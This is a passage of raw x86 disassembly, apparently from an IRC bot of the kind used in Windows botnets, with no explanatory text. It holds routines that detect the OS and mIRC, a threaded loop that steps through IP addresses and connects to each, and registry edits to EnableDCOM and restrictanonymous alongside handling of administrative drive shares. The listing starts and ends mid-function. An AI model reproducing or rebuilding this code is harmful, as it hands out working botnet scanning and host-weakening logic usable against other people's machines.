		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41407D
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41405F
		mov	esi, offset a2k	; "2K"
		jmp	short loc_414082
; ---------------------------------------------------------------------------


loc_41405F:				; CODE XREF: _0:00414056j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41406F
		mov	esi, offset aXp	; "XP"
		jmp	short loc_414082
; ---------------------------------------------------------------------------


loc_41406F:				; CODE XREF: _0:00414066j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_42E9DC
		jz	short loc_414082


loc_41407D:				; CODE XREF: _0:0041403Dj _0:0041404Dj
		mov	esi, offset dword_4294F4


loc_414082:				; CODE XREF: _0:0041401Dj _0:00414024j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_42E9D4
		push	1Ch
		push	edi
		call	sub_4159FA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42ACE0, esi
		jle	short loc_4140C6


loc_4140A0:				; CODE XREF: _0:004140C4j
		call	sub_4154DC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42E9C4
		push	1Ch
		push	edi
		call	sub_4159FA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42ACE0
		jl	short loc_4140A0


loc_4140C6:				; CODE XREF: _0:0041409Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140CC	proc near		; CODE XREF: sub_41416F+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_422048	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_41411B
		call	ds:dword_436474	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_42E9E8
		jnz	short loc_414104
		mov	eax, offset byte_4325D8


loc_414104:				; CODE XREF: sub_4140CC+31j
		push	eax
		push	esi
		push	offset dword_42E9E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_4159FA
		add	esp, 14h
		jmp	short loc_41413B
; ---------------------------------------------------------------------------


loc_41411B:				; CODE XREF: sub_4140CC+22j
		call	ds:dword_436474	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_42E9E8
		jnz	short loc_41412F
		mov	eax, offset byte_4325D8


loc_41412F:				; CODE XREF: sub_4140CC+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_41413B:				; CODE XREF: sub_4140CC+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415C80
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_41416A
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416F00
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D30
		add	esp, 18h


loc_41416A:				; CODE XREF: sub_4140CC+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4140CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41416F	proc near		; CODE XREF: sub_40D000+7Fp
					; sub_40D168+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42E96C


loc_41417B:				; CODE XREF: sub_41416F+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_414196
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4158A0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4141A0
; ---------------------------------------------------------------------------


loc_414196:				; CODE XREF: sub_41416F+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4141A0:				; CODE XREF: sub_41416F+25j
		test	eax, eax
		jnz	short loc_4141B2
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_42E9D0
		jb	short loc_41417B
		jmp	short loc_4141C0
; ---------------------------------------------------------------------------


loc_4141B2:				; CODE XREF: sub_41416F+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42E970[eax*4]
		pop	ecx


loc_4141C0:				; CODE XREF: sub_41416F+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_4141D3
		push	[ebp+arg_0]
		call	sub_4140CC
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4141D3:				; CODE XREF: sub_41416F+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_41416F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141D8	proc near		; DATA XREF: sub_4142A5+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_436468	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_4364E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414296
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_436410	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43BECC[ecx], esi
		jz	short loc_414296
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		mov	edi, offset dword_4C8E54
		push	offset unk_42E9EC
		push	edi
		call	sub_415480
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40BAE7
		push	edi
		call	sub_40A5B3
		add	esp, 28h


loc_414296:				; CODE XREF: sub_4141D8+5Dj
					; sub_4141D8+7Ej
		push	esi
		call	ds:dword_436500	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4141D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4142A5	proc near		; DATA XREF: sub_40D2E0+35E0o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_422054
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_4142D3:				; CODE XREF: sub_4142A5+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_42EA24
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43BCC0
		push	eax
		call	sub_416D30
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_4141D8
		push	edi
		push	edi
		call	ds:dword_422070	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_41433F


loc_414334:				; CODE XREF: sub_4142A5+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_41433F
		push	32h
		call	esi	; Sleep
		jmp	short loc_414334
; ---------------------------------------------------------------------------


loc_41433F:				; CODE XREF: sub_4142A5+8Dj
					; sub_4142A5+92j
		push	[ebp+var_4]
		call	ds:off_422074
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415560
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43639C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_436464	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_415560
		add	esp, 0Ch
		jmp	loc_4142D3
sub_4142A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414396	proc near		; DATA XREF: sub_40D2E0+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4143DD
		call	sub_4143F6
		jmp	short loc_4143E2
; ---------------------------------------------------------------------------


loc_4143DD:				; CODE XREF: sub_414396+3Ej
		call	sub_41471A


loc_4143E2:				; CODE XREF: sub_414396+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_415248
		pop	ecx
		push	0
		call	ds:dword_422044	; ExitThread
sub_414396	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F6	proc near		; CODE XREF: sub_414396+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_436538, edi
		jnz	loc_414528
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4364D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414481
		mov	ax, ds:word_42EDD4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43648C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414463
		push	offset unk_42ED94
		jmp	short loc_414468
; ---------------------------------------------------------------------------


loc_414463:				; CODE XREF: sub_4143F6+64j
		push	offset dword_42ED68


loc_414468:				; CODE XREF: sub_4143F6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		jmp	short loc_414494
; ---------------------------------------------------------------------------


loc_414481:				; CODE XREF: sub_4143F6+36j
		lea	eax, [ebp+var_214]
		push	offset unk_42ED28
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_414494:				; CODE XREF: sub_4143F6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4144B3
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_4144B3:				; CODE XREF: sub_4143F6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40A5B3
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4364D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414521
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_43648C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414503
		push	offset unk_42ECC8
		jmp	short loc_414508
; ---------------------------------------------------------------------------


loc_414503:				; CODE XREF: sub_4143F6+104j
		push	offset unk_42EC84


loc_414508:				; CODE XREF: sub_4143F6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		jmp	short loc_41453B
; ---------------------------------------------------------------------------


loc_414521:				; CODE XREF: sub_4143F6+E2j
		push	offset unk_42EC38
		jmp	short loc_41452D
; ---------------------------------------------------------------------------


loc_414528:				; CODE XREF: sub_4143F6+13j
		push	offset unk_42EBF8


loc_41452D:				; CODE XREF: sub_4143F6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_41453B:				; CODE XREF: sub_4143F6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41455A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_41455A:				; CODE XREF: sub_4143F6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40A5B3
		cmp	ds:dword_436560, edi
		pop	ecx
		jnz	loc_4146D5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41457D:				; CODE XREF: sub_4143F6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_4363B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41461A
		cmp	eax, 0EAh
		jz	short loc_41461A
		mov	esi, offset off_42EA60


loc_4145AE:				; CODE XREF: sub_4143F6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40C131
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4145C5
		push	offset unk_42EBC4
		jmp	short loc_4145CA
; ---------------------------------------------------------------------------


loc_4145C5:				; CODE XREF: sub_4143F6+1C6j
		push	offset unk_42EB88


loc_4145CA:				; CODE XREF: sub_4143F6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4145FD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_4145FD:				; CODE XREF: sub_4143F6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40A5B3
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_42EA80
		jb	short loc_4145AE
		jmp	loc_4146B2
; ---------------------------------------------------------------------------


loc_41461A:				; CODE XREF: sub_4143F6+1AAj
					; sub_4143F6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_4146A9


loc_414629:				; CODE XREF: sub_4143F6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_417ABC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41469E
		push	edi
		call	sub_40C01E
		push	eax
		push	0
		call	sub_40C131
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414658
		push	offset unk_42EB54
		jmp	short loc_41465D
; ---------------------------------------------------------------------------


loc_414658:				; CODE XREF: sub_4143F6+259j
		push	offset unk_42EB18


loc_41465D:				; CODE XREF: sub_4143F6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414691
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_414691:				; CODE XREF: sub_4143F6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_41469E:				; CODE XREF: sub_4143F6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_414629
		xor	edi, edi


loc_4146A9:				; CODE XREF: sub_4143F6+22Dj
		push	[ebp+var_8]
		call	ds:dword_4364F8


loc_4146B2:				; CODE XREF: sub_4143F6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41457D
		lea	eax, [ebp+var_214]
		push	offset unk_42EAE0
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146D5:				; CODE XREF: sub_4143F6+177j
		lea	eax, [ebp+var_214]
		push	offset unk_42EAA0
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_4146E8:				; CODE XREF: sub_4143F6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_414706
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_414706:				; CODE XREF: sub_4143F6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4143F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41471A	proc near		; CODE XREF: sub_414396:loc_4143DDp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_436538, ebx
		push	esi
		jnz	loc_414848
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4364D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4147A5
		mov	ax, ds:word_42EFBC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43648C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414787
		push	offset unk_42EF88
		jmp	short loc_41478C
; ---------------------------------------------------------------------------


loc_414787:				; CODE XREF: sub_41471A+64j
		push	offset dword_42EF5C


loc_41478C:				; CODE XREF: sub_41471A+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		jmp	short loc_4147B8
; ---------------------------------------------------------------------------


loc_4147A5:				; CODE XREF: sub_41471A+36j
		lea	eax, [ebp+var_220]
		push	offset unk_42ED28
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_4147B8:				; CODE XREF: sub_41471A+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4147D7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_4147D7:				; CODE XREF: sub_41471A+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40A5B3
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4364D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414841
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_43648C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414823
		push	offset unk_42EF10
		jmp	short loc_414828
; ---------------------------------------------------------------------------


loc_414823:				; CODE XREF: sub_41471A+100j
		push	offset unk_42EECC


loc_414828:				; CODE XREF: sub_41471A+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		jmp	short loc_41485B
; ---------------------------------------------------------------------------


loc_414841:				; CODE XREF: sub_41471A+E2j
		push	offset unk_42EE80
		jmp	short loc_41484D
; ---------------------------------------------------------------------------


loc_414848:				; CODE XREF: sub_41471A+13j
		push	offset unk_42EBF8


loc_41484D:				; CODE XREF: sub_41471A+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_41485B:				; CODE XREF: sub_41471A+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41487A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_41487A:				; CODE XREF: sub_41471A+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40A5B3
		cmp	ds:dword_436560, ebx
		pop	ecx
		jnz	loc_4149EF
		push	edi
		mov	esi, offset off_42EA60
		mov	edi, 200h


loc_41489E:				; CODE XREF: sub_41471A+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40C085
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4148B9
		push	offset unk_42EE50
		jmp	short loc_4148BE
; ---------------------------------------------------------------------------


loc_4148B9:				; CODE XREF: sub_41471A+196j
		push	offset unk_42EE18


loc_4148BE:				; CODE XREF: sub_41471A+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4148ED
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_4148ED:				; CODE XREF: sub_41471A+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40A5B3
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_42EA70
		jb	short loc_41489E
		call	ds:dword_422164	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_4149D7


loc_414918:				; CODE XREF: sub_41471A+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_4149CC
		cmp	bl, 41h
		jz	loc_4149CC
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4364C8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_4149CC
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40C085
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41498A
		push	offset unk_42EE50
		jmp	short loc_41498F
; ---------------------------------------------------------------------------


loc_41498A:				; CODE XREF: sub_41471A+267j
		push	offset unk_42EE18


loc_41498F:				; CODE XREF: sub_41471A+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4149BF
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_4149BF:				; CODE XREF: sub_41471A+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_4149CC:				; CODE XREF: sub_41471A+206j
					; sub_41471A+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414918


loc_4149D7:				; CODE XREF: sub_41471A+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_42EDD8
		push	eax
		call	sub_415480
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414A02
; ---------------------------------------------------------------------------


loc_4149EF:				; CODE XREF: sub_41471A+173j
		lea	eax, [ebp+var_220]
		push	offset unk_42EAA0
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_414A02:				; CODE XREF: sub_41471A+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A20
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_414A20:				; CODE XREF: sub_41471A+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41471A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A34	proc near		; CODE XREF: sub_4138EE+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_414B85
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_43BECC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_422070
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_414D57
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_414A9F
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F004
		call	sub_40A627
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_414AD9
; ---------------------------------------------------------------------------


loc_414A9F:				; CODE XREF: sub_414A34+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_414E09
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_414AE0
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F004
		call	sub_40A627
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_422150	; TerminateThread


loc_414AD9:				; CODE XREF: sub_414A34+69j
		xor	eax, eax
		jmp	loc_414B80
; ---------------------------------------------------------------------------


loc_414AE0:				; CODE XREF: sub_414A34+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_422168	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_414B3A
		dec	eax
		jz	short loc_414B34
		dec	eax
